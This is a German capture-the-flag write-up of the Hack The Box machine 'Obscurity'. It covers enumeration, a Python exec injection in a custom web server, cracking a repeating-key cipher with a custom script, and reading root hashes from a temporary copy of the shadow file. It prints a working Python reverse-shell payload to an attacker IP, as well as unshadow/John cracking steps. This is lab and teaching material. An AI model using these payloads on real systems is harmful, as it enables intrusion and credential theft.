Obscurity ist eine als „Medium“ gekennzeichnete Linux Hack The Box. Der Weg ist eigentlich von Anfang an klar aber man muss das ein oder andere Hindernis überwinden und ein bisschen selber coden damit man die Box knackt. Am Anfang geht es darum das Python Script zu finden, welches den Webserver bereitstellt, in diesem enteckt man eine Sicherheitslücke welche man ausnutzen kann um sich eine Shell zu spawnen. Anschließend muss man sich ein Script schreiben um eine Verschlüsselung zu knacken. Der Root Zugriff erfolgt dann relativ einfach, indem man ein Script, welches als Root ausgeführt wird pausiert um an eine temporäre Datei zu kommen.
Scan
Ich fange wie immer mit einem Port Scan an
nmap -sV -sC -oA ports 10.10.10.168
Auszug gekürzt:
Nmap scan report for 10.10.10.168
Host is up (0.029s latency).
Not shown: 996 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 33:d3:9a:0d:97:2c:54:20:e1:b0:17:34:f4:ca:70:1b (RSA)
| 256 f6:8b:d5:73:97:be:52:cb:12:ea:8b:02:7c:34:a3:d7 (ECDSA)
|_ 256 e8:df:55:78:76:85:4b:7b:dc:70:6a:fc:40:cc:ac:9b (ED25519)
80/tcp closed http
8080/tcp open http-proxy BadHTTPServer
| fingerprint-strings:
| GetRequest, HTTPOptions:
| HTTP/1.1 200 OK
| Date: Tue, 21 Apr 2020 16:24:24
| Server: BadHTTPServer
| Last-Modified: Tue, 21 Apr 2020 16:24:24
| Content-Length: 4171
| Content-Type: text/html
| Connection: Closed
9000/tcp closed cslistener
# Nmap done at Tue Apr 21 18:21:20 2020 -- 1 IP address (1 host up) scanned in 16.94 seconds
Wir sehen SSH ist aktiv und auf Port 8080 läuft ein sogenannter „BadHTTPServer“-
Ich prüfe die Website
Ganz unten auf der Website finden wir einen Hinweis
Wir suchen also nach einen Script mit dem Namen „SuperSecureServer.py“, da über dieses wohl dieser eigene Webserver läuft.
GoBuster
Ich lasse Gobuster gegen den Webserver laufen bekomme jedoch nur Fehlermeldungen zurück.
Also schau ich mir die Anfragen und Antworten über Burp an. Hierzu erstelle ich mir in Burp einen lokalen Reverse Proxy welcher meinen Traffic erst durch Burp und dann an den Webserver weiterleitet
Wenn ich nun Gobuster gegen den Proxy laufen lasse
gobuster dir -u http://127.0.0.1:8000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
Kann ich die Anfrage und den Response in GoBuster sehen
Nach einem kurzen Überblick, stelle ich fest, dass Burp im Response keine Header Daten erkennt. Sie sind zwar im Raw Format vorhanden, der Tab „Headers“ fehlt jedoch. Vermutlich ist auch das die Ursache warum GoBuster auf Fehler läuft. In Burp aktiviere ich „Intercept Server Responses“ und schaue ob ich den Response so anpassen kann das Burp die Header Daten korrekt erkennt.
Hierzu lösche ich im Header die Zeilenumbrüche und mache mit mit Return nach jedem Header einen neuen. In der History schau ich mir den Editierten Response an und nun wurden auch die Header Daten korrekt erkannt.
Ok, das Problem konnte ich also finden, nun muss ich Burp nur noch so konfigurieren, dass er alle Responses anpasst bevor er sie an GoBuster weiterleitet. Hierzu vergleiche ich die Hex Daten der originalen (links) und der editierten Anfrage (rechts).
Man kann erkennen, dass er im originalen Response, statt einem 0D 0A (carriage return + line feed) nur einen line feed sendet. Es fehlt also der carriage return.
HTTP Response
In Burp erstelle ich mir dazu in den Proxy Optionen eine neue Regel, damit jedes line feed (\n) durch ein (\r\n) ersetzt wird.
Das Problem hierbei ist jedoch, dass man zwar für den Match, Regex verwenden kann, für den Replace jedoch nicht. Es gibt aber einen Trick um Burp trotzdem die Regel beizubringen, hierzu speichert man sich die Config lokal in einer Json Datei.
Hier kann man nun die Regeln über einen Editor bearbeiten und somit einen carriage return + line feed eintragen
Die Config anschließend neu laden und schon kommen alle Server Responses korrekt an.
GoBuster wirft leider noch einen weiteren Fehler:
Irgendwas passt ihm nicht, hier gibt es wohl am ende zwei line feeds. Aber auch das Problem können wir schnell über eine Match und Replace Regel ersetzten. Wir ersetzten einfach \n\n durch nichts.
Weiter geht es mit GoBuster, nachdem dieser nun die Server Antworten korrekt verarbeiten kann, brauchen wir noch eine Wordlist, welche nach dem „SuperSecureServer.py“ sucht.
Mit folgendem Befehl hänge ich mir an jedes Verzeichnis aus der Wordlist den Script namen und speichere mir dies in einer neuen Liste
while read line; do echo $line/SuperSecureServer.py; done < wordlist.txt > pythonlist.txt
Somit schaut meine neue Wordlist nun wie folgt aus.
Ich lasse GoBuster laufen und es dauert nicht lange da hat er das Script gefunden.
Ich schau mir das Script im Browser an und ziehe mir eine Kopie.
Python Injection
Recht weit unten im Script finde ich eine interessante Stelle. Es schaut so aus als ob der String „output = Document: {}“ von Python ausgeführt wird. Vorher wird in die Klammern aber noch String.format(path) der Serverpfad aus dem HTTP Request eingesetzt.
Ich erstelle mir kurzerhand ein eigenes kleines Pyhton Script um das Verhalten lokal nachzustellen.
import os
path = "echo';os.system('ping 10.10.14.133 -c 5');'"
info = "output = 'Document: {}'"
print(info.format(path))
exec(info.format(path))
Über das Symbol ';
wird der String Format Befehl von Python abgeschlossen, alles was danach kommt wird von Python direkt als neuer Code interpretiert. Wir haben hier also eine Python Injection.
Nun müssen wir das ganze nur noch in einen HTTP Request unterbringen. Über die Website https://www.urlencoder.org/ wandele ich meinen Befehl in einen Validen URL Get Request um und sende diesen über Burp an den Server
Mi dem Befehl os.system('ping 10.10.14.133 -c 5');
versuche ich zuerst einen Ping auf mein System zu bekommen. Das praktische ist, dass in dem Python Web Server Script bereits die OS klasse importiert ist.
Und tatsächlich, ich bekomme einen Response:
Somit steht einer Reverse Shell nichts mehr im Weg, da wir uns bereits in Python befinden, verwende ich direkt eine Python Shell
echo';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.133",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Der call klappt und wir sind auf dem System als www-data
Decode ASCII Encryption
Ich schaue mich auf dem System um und finde im Home Verzeichnis von Robert ein paar interessante Dateien und Notizen.
In der check.txt bekommen wir einen Hinweis.
Das SuperSecureCrypt.py Script, verschlüsselt mir also den Inhalt einer Datei. Ich schau mir das Script genauer an.
Das Script macht grob gesagt folgendes:
Anhand des Keys wird die Inputdatei verschlüsselt und in der Ausgabedatei gespeichert.
Die Verschlüsselt erfolgt anhand der ASCII Tabelle
- Es wird zuerst der erste Buchstaben des Keys in die ASCII Dezimalzahl umgewandelt.
- Zudem wird das erste Zeichen der Inputdatei in die ASCII Dezimalzahl umgewandelt.
- Nun werden diese beiden Zahlen addiert
- Zusätzlich wird noch geprüft ob der Wert größer als 255 ist (da der ASCII Zeichensatz nur bis 255 geht).
- So geht das für jeden Buchstaben aus der Inputdatei und des Keys, ist der Key zu Ende wird der Key einfach nochmal verwendet.
Wir haben also 3 Variablen:
- Inputfile
- Key
- Outputfile
Auf dem Server liegt auch eine out.txt. Der Inhalt der check.txt lässt vermuten, dass jemand die out.txt mithilfe eines keys und der check.txt erstellt hat. Das heißt wir haben das inputfile (check.txt) und das Outputfile (out.txt). Anhand dieser beiden sollte es uns möglich sein den Key herauszufinden.
Ich hab ein bisschen gebraucht aber letztendlich hab ich das Python Script um die Funktion -p (Decrypt Key mode) erweitert, welche genau das für uns erledigt. Mit dem Parameter -e kann man nun die out.txt einlesen und es wir der Key ermittelt.
Das Ergebnis wird in die Datei key.txt ausgegeben:
Hier das finale Script für alle die es interessiert.
import sys
import argparse
def encrypt(text, key):
keylen = len(key)
keyPos = 0
encrypted = ""
for x in text:
keyChr = key[keyPos]
keyCharInt = ord(keyChr)
newChr = ord(x)
newCharSum = newChr + keyCharInt
newChr = chr((newChr + ord(keyChr)) % 255)
encrypted += newChr
keyPos += 1
keyPos = keyPos % keylen
return encrypted
def decrypt(text, key):
keylen = len(key)
keyPos = 0
decrypted = ""
for x in text:
keyChr = key[keyPos]
newChr = ord(x)
newChr = chr((newChr - ord(keyChr)) % 255)
decrypted += newChr
keyPos += 1
keyPos = keyPos % keylen
return decrypted
def keydecrypt(intext, outtext):
outlen = len(outtext)
keydecrypted = ""
outPos = 0
for x in intext:
outCharInt = ord(outtext[outPos])
inCharInt = ord(x)
oldCharInt = outCharInt - inCharInt
oldChar = chr(oldCharInt)
keydecrypted += oldChar
outPos += 1
outPos = outPos % outlen
return keydecrypted
parser = argparse.ArgumentParser(description='Encrypt with 0bscura\'s encryption algorithm')
parser.add_argument('-i',
metavar='InFile',
type=str,
help='The file to read',
required=False)
parser.add_argument('-o',
metavar='OutFile',
type=str,
help='Where to output the encrypted/decrypted file',
required=False)
parser.add_argument('-k',
metavar='Key',
type=str,
help='Key to use',
required=False)
parser.add_argument('-e',
metavar='EncryptFile',
type=str,
help='Encrypted file to use',
required=False)
parser.add_argument('-d', action='store_true', help='Decrypt mode')
parser.add_argument('-p', action='store_true', help='Decrypt Key mode')
args = parser.parse_args()
banner = "################################\n"
banner+= "# BEGINNING #\n"
banner+= "# SUPER SECURE ENCRYPTOR #\n"
banner+= "################################\n"
banner += " ############################\n"
banner += " # FILE MODE #\n"
banner += " ############################"
print(banner)
if args.o == None or args.i == None:
print("Missing args")
else:
if args.d:
print("Opening file {0}...".format(args.i))
with open(args.i, 'r', encoding='UTF-8') as f:
data = f.read()
print("Decrypting...")
decrypted = decrypt(data, args.k)
print("Writing to {0}...".format(args.o))
with open(args.o, 'w', encoding='UTF-8') as f:
f.write(decrypted)
elif args.p:
print("Opening input file {0}...".format(args.i))
with open(args.i, 'r', encoding='UTF-8') as f:
data = f.read()
print("Opening encyrpted file {0}...".format(args.e))
with open(args.e, 'r', encoding='UTF-8') as f:
encdata = f.read()
print("Decrypting Key...")
keydecrypted = keydecrypt(data, encdata)
print("Writing to {0}...".format(args.o))
with open(args.o, 'w', encoding='UTF-8') as f:
f.write(keydecrypted)
else:
print("Opening file {0}...".format(args.i))
with open(args.i, 'r', encoding='UTF-8') as f:
data = f.read()
print("Encrypting...")
encrypted = encrypt(data, args.k)
print("Writing to {0}...".format(args.o))
with open(args.o, 'w', encoding='UTF-8') as f:
f.write(encrypted)
Der Key wird immer wieder wiederholt, daher ist es recht leicht diesen auszulesen:
Mithilfe des Keys können wir nun die Datei passwordreminder.txt knacken und haben das SSH Kennwort für Robert
Und somit auch Zugriff per SSH
Root
Es gibt noch weiteres interessantes Verzeichnis in dem Home Verzeichnis von Robert, nämlich der Ordner BetterSSH.
Zudem gibt uns sudo -l eine Info das wir dieses Script wohl mit Root rechten ausführen können
Wenn wir das Script ausführen, bekommen wir Zugriff auf eine eigene Shell. Dort können wir erstmal nicht mehr machen als sonst (halben also keine Root rechte), aber in dem Script selbst finde ich ein paar interessante Zeilen.
Damit das Script prüfen kann, ob wir das Kennwort richtig eingegeben haben, kopiert es sich die Kennwörter aus der shadow Datei in eine Random Datei im TMP Verzeichnis. Diese wird zwar gleich wieder gelöscht aber es reicht uns wenn diese kurz dort ist.
Ich rufe das Script auf und mit STRG+Z pausiere ich es direkt nach der Eingabe des Kennwortes
Ich navigiere zum Temp Verzeichnis und finde dort direkt die zwei Einträge welche mich interessieren.
Den Root Hash speichere ich mir in die Datei shadow.txt, dazu hole ich mir noch den passenden Eintrag aus der passwd Datei. Mit dem Befehl
unshadow passwd.txt shadow.txt > passwordRoot.txt
Erstelle ich mir eine Datei die John knacken kann.
Wir haben das Root Kennwort und können uns somit nun das letzte Flag holen.